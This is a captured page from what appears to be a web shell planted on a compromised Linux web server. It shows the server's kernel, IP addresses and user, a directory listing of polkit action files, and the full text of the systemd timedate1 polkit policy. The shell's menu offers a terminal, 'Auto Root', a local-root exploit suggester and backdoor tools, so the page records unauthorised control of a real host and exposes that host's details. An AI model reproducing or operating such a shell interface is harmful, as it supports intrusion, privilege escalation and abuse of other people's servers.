Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 3.20.233.31
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
polkit-1 /
actions /
Delete
Unzip
Name
Size
Permission
Date
Action
com.redhat.tuned.policy
7.18
KB
-rw-r--r--
2019-03-21 22:10
org.fedoraproject.FirewallD1.desktop.policy.choice
3.82
KB
-rw-r--r--
2021-04-28 13:31
org.fedoraproject.FirewallD1.policy
3.93
KB
-rw-r--r--
2021-04-28 13:31
org.fedoraproject.FirewallD1.server.policy.choice
3.93
KB
-rw-r--r--
2021-04-28 13:31
org.freedesktop.Flatpak.policy
30.05
KB
-rw-r--r--
2021-11-02 11:52
org.freedesktop.NetworkManager.policy
147.64
KB
-rw-r--r--
2020-11-16 16:15
org.freedesktop.RealtimeKit1.policy
1.45
KB
-rw-r--r--
2015-03-06 05:27
org.freedesktop.accounts.policy
19.67
KB
-rw-r--r--
2020-04-01 02:16
org.freedesktop.bolt.policy
1.79
KB
-rw-r--r--
2019-08-08 23:01
org.freedesktop.color.policy
60.46
KB
-rw-r--r--
2020-04-01 02:23
org.freedesktop.hostname1.policy
9.38
KB
-rw-r--r--
2022-01-13 16:54
org.freedesktop.import1.policy
1.93
KB
-rw-r--r--
2022-01-13 16:54
org.freedesktop.locale1.policy
6.2
KB
-rw-r--r--
2022-01-13 16:54
org.freedesktop.login1.policy
85.6
KB
-rw-r--r--
2022-01-13 16:54
org.freedesktop.machine1.policy
2.37
KB
-rw-r--r--
2022-01-13 16:54
org.freedesktop.policykit.policy
1012
B
-rw-r--r--
2020-04-01 04:07
org.freedesktop.systemd1.policy
10.5
KB
-rw-r--r--
2022-01-13 16:54
org.freedesktop.timedate1.policy
12.75
KB
-rw-r--r--
2022-01-13 16:54
org.gnome.controlcenter.datetime.policy
18.15
KB
-rw-r--r--
2021-04-28 13:32
org.gnome.controlcenter.remote-login-helper.policy
17.14
KB
-rw-r--r--
2021-04-28 13:32
org.gnome.controlcenter.user-accounts.policy
15.14
KB
-rw-r--r--
2021-04-28 13:32
org.gnome.gconf.defaults.policy
28.08
KB
-rw-r--r--
2014-06-10 06:48
org.gnome.settings-daemon.plugins.power.policy
15.6
KB
-rw-r--r--
2021-08-31 14:48
org.gnome.settings-daemon.plugins.wacom.policy
28.68
KB
-rw-r--r--
2021-08-31 14:48
org.opensuse.cupspkhelper.mechanism.policy
87.01
KB
-rw-r--r--
2017-08-05 21:09
Save
Rename
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE policyconfig PUBLIC "-//freedesktop//DTD PolicyKit Policy Configuration 1.0//EN" "http://www.freedesktop.org/standards/PolicyKit/1/policyconfig.dtd"> <policyconfig> <vendor>The systemd Project</vendor> <vendor_url>http://www.freedesktop.org/wiki/Software/systemd</vendor_url> <action id="org.freedesktop.timedate1.set-time"> <description>Set system time</description> <description xml:lang="de">Die Systemzeit festlegen</description> <description xml:lang="el">Ορισμός ώρας συστήματος</description> <description xml:lang="fr">Définir l'heure du système</description> <description xml:lang="hu">Rendszeridő beállítása</description> <description xml:lang="it">Configura l'orario di sistema</description> <description xml:lang="pl">Ustawienie czasu systemu</description> <description xml:lang="pt_BR">Definir horário do sistema</description> <description xml:lang="ru">Настроить системное время</description> <description xml:lang="sv">Ange systemtid</description> <description xml:lang="uk">Вказати системний час</description> <message>Authentication is required to set the system time.</message> <message xml:lang="de">Legitimierung ist zum Festlegen der Systemzeit notwendig.</message> <message xml:lang="el">Απαιτείται πιστοποίηση για να ορίσετε την ώρα του συστήματος.</message> <message xml:lang="fr">Authentification requise pour définir l'heure du système.</message> <message xml:lang="hu">Hitelesítés szükséges a rendszeridő beállításához.</message> <message xml:lang="it">Autenticazione richiesta per configurare l'orario di sistema.</message> <message xml:lang="pl">Wymagane jest uwierzytelnienie, aby ustawić czas systemu.</message> <message xml:lang="pt_BR">É necessária autenticação para definir o horário do sistema.</message> <message xml:lang="ru">Чтобы настроить системное время, необходимо пройти аутентификацию.</message> <message xml:lang="sv">Autentisering krävs för ange systemtiden.</message> <message xml:lang="uk">Засвідчення потрібно, щоб вказати системний час.</message> <defaults> <allow_any>auth_admin_keep</allow_any> <allow_inactive>auth_admin_keep</allow_inactive> <allow_active>auth_admin_keep</allow_active> </defaults> <annotate key="org.freedesktop.policykit.imply">org.freedesktop.timedate1.set-timezone org.freedesktop.timedate1.set-ntp</annotate> </action> <action id="org.freedesktop.timedate1.set-timezone"> <description>Set system timezone</description> <description xml:lang="de">Die Systemzeitzone festlegen</description> <description xml:lang="el">Ορισμός ζώνης ώρας συστήματος</description> <description xml:lang="fr">Définir le fuseau horaire du système</description> <description xml:lang="hu">Rendszer időzónájának beállítása</description> <description xml:lang="it">Configura il fuso orario di sistema</description> <description xml:lang="pl">Ustawienie strefy czasowej systemu</description> <description xml:lang="pt_BR">Definir fuso horário do sistema</description> <description xml:lang="ru">Настроить часовой пояс</description> <description xml:lang="sv">Ange systemets tidszon</description> <description xml:lang="uk">Вказати системний часовий пояс</description> <message>Authentication is required to set the system timezone.</message> <message xml:lang="de">Legitimierung ist zum Festlegen der Systemzeitzone notwendig.</message> <message xml:lang="el">Απαιτείται πιστοποίηση για να ορίσετε την ώρα ζώνης του συστήματος.</message> <message xml:lang="fr">Authentification requise pour définir le fuseau horaire du système.</message> <message xml:lang="hu">Hitelesítés szükséges a rendszer időzónájának beállításához.</message> <message xml:lang="it">Autenticazione richiesta per configurare il fuso orario di sistema.</message> <message xml:lang="pl">Wymagane jest uwierzytelnienie, aby ustawić strefę czasową systemu.</message> <message xml:lang="pt_BR">É necessária autenticação para definir o fuso horário do sistema.</message> <message xml:lang="ru">Чтобы настроить часовой пояс, необходимо пройти аутентификацию.</message> <message xml:lang="sv">Autentisering krävs för att ange systemets tidszon.</message> <message xml:lang="uk">Засвідчення потрібно, щоб вказати системний часовий пояс.</message> <defaults> <allow_any>auth_admin_keep</allow_any> <allow_inactive>auth_admin_keep</allow_inactive> <allow_active>auth_admin_keep</allow_active> </defaults> </action> <action id="org.freedesktop.timedate1.set-local-rtc"> <description>Set RTC to local timezone or UTC</description> <description xml:lang="de">Echtzeituhr auf lokale Zeitzone oder UTC setzen</description> <description xml:lang="el">Ορισμός RTC στην τοπική ζώνη ώρας ή UTC</description> <description xml:lang="fr">Positionner l'horloge matérielle à l'heure locale ou sur le temps universel coordonné (UTC)</description> <description xml:lang="hu">Az RTC beállítása helyi időzónára vagy UTC-re</description> <description xml:lang="it">Configura l'orologio di sistema (RTC) al fuso orario locale o al tempo civile (UTC)</description> <description xml:lang="pl">Ustawienie RTC na lokalną strefę czasową lub strefę UTC</description> <description xml:lang="pt_BR">Definir o relógio do sistema (RTC) para fuso horário local ou UTC</description> <description xml:lang="ru">Установить аппаратные часы по местному времени или по Гринвичу</description> <description xml:lang="sv">Sätt realtidsklocka (RTC) till lokal tidszon eller koordinerad universell tid (UTC)</description> <description xml:lang="uk">Вкажіть RTC для локального часового поясу або UTC</description> <message>Authentication is required to control whether the RTC stores the local or UTC time.</message> <message xml:lang="de">Legitimierung ist notwendig zum Festlegen, ob die Echtzeituhr auf lokale Zeitzone oder UTC eingestellt ist.</message> <message xml:lang="el">Απαιτείται πιστοποίηση για να ελέγξετε αν το RTC αποθηκεύει την τοπική ή την ώρα UTC.</message> <message xml:lang="fr">Authentification requise pour positionner l'horloge matérielle à l'heure locale ou sur le temps universel coordonné (UTC).</message> <message xml:lang="hu">Hitelesítés szükséges az RTC beállításához a helyi időzóna vagy UTC tárolására.</message> <message xml:lang="it">Autenticazione richiesta per verificare se l'orologio di sistema (RTC) è configurato all'orario locale o al tempo civile (UTC).</message> <message xml:lang="pl">Wymagane jest uwierzytelnienie, aby kontrolować, czy RTC przechowuje czas lokalny lub czas UTC.</message> <message xml:lang="pt_BR">É necessária autenticação para controlar se o RTC deve, ou não, armazenar o horário local ou de UTC.</message> <message xml:lang="ru">Чтобы контролировать, установлены аппаратные часы по местному времени или по Гринвичу, необходимо пройти аутентификацию.</message> <message xml:lang="sv">Autentisering krävs för att kunna kontrollera huruvida realtidsklockan (RTC) lagrar den lokala eller koordinerade universella tiden (UTC).</message> <message xml:lang="uk">Засвідчення потрібно, щоб контролювати, чи RTC зберігає час, чи UTC.</message> <defaults> <allow_any>auth_admin_keep</allow_any> <allow_inactive>auth_admin_keep</allow_inactive> <allow_active>auth_admin_keep</allow_active> </defaults> </action> <action id="org.freedesktop.timedate1.set-ntp"> <description>Turn network time synchronization on or off</description> <description xml:lang="de">Netzwerkzeitabgeich ein- oder ausschalten</description> <description xml:lang="el">Ενεργοποίηση/Απενεργοποίηση συγχρονισμού ώρας δικτύου</description> <description xml:lang="fr">Activer ou désactiver la synchronisation de l'heure avec le réseau</description> <description xml:lang="hu">Hálózati időszinkronizáció be- vagy kikapcsolása</description> <description xml:lang="it">Abilita o meno la sincronizzazione dell'orario in rete</description> <description xml:lang="pl">Włączenie lub wyłączenie synchronizacji czasu przez sieć</description> <description xml:lang="pt_BR">Ligar/desligar a sincronização do horário em rede</description> <description xml:lang="ru">Включить или выключить синхронизацию времени по сети</description> <description xml:lang="sv">Växla synkronisering av nätverkstid på och av</description> <description xml:lang="uk">Увімкнути або вимкнути синхронізування через мережу</description> <message>Authentication is required to control whether network time synchronization shall be enabled.</message> <message xml:lang="de">Legitimierung ist zum Festlegen, ob Netzwerkzeitabgeich eingeschaltet sein soll, erforderlich.</message> <message xml:lang="el">Απαιτείται πιστοποίηση για να ελέγξετε αν ο συγχρονισμός ώρας δικτύου θα ενεργοποιηθεί.</message> <message xml:lang="fr">Authentification requise pour activer ou désactiver la synchronisation de l'heure avec le réseau.</message> <message xml:lang="hu">Hitelesítés szükséges a hálózati időszinkronizáció engedélyezéséhez.</message> <message xml:lang="it">Autenticazione richiesta per verificare se la sincronizzazione dell'orario in rete possa essere attivata.</message> <message xml:lang="pl">Wymagane jest uwierzytelnienie, aby kontrolować, czy włączyć synchronizację czasu przez sieć.</message> <message xml:lang="pt_BR">É necessária autenticação para controlar se deve ser habilitada, ou não, a sincronização de horário através de rede.</message> <message xml:lang="ru">Чтобы включить или выключить синхронизацию времени по сети, необходимо пройти аутентификацию.</message> <message xml:lang="sv">Autentisering krävs för att kontrollera huruvida synkronisering av nätverkstid ska vara aktiverat.</message> <message xml:lang="uk">Засвідчення потрібно, щоб контролювати, чи синхронізування часу через мережу запущено.</message> <defaults> <allow_any>auth_admin_keep</allow_any> <allow_inactive>auth_admin_keep</allow_inactive> <allow_active>auth_admin_keep</allow_active> </defaults> </action> </policyconfig>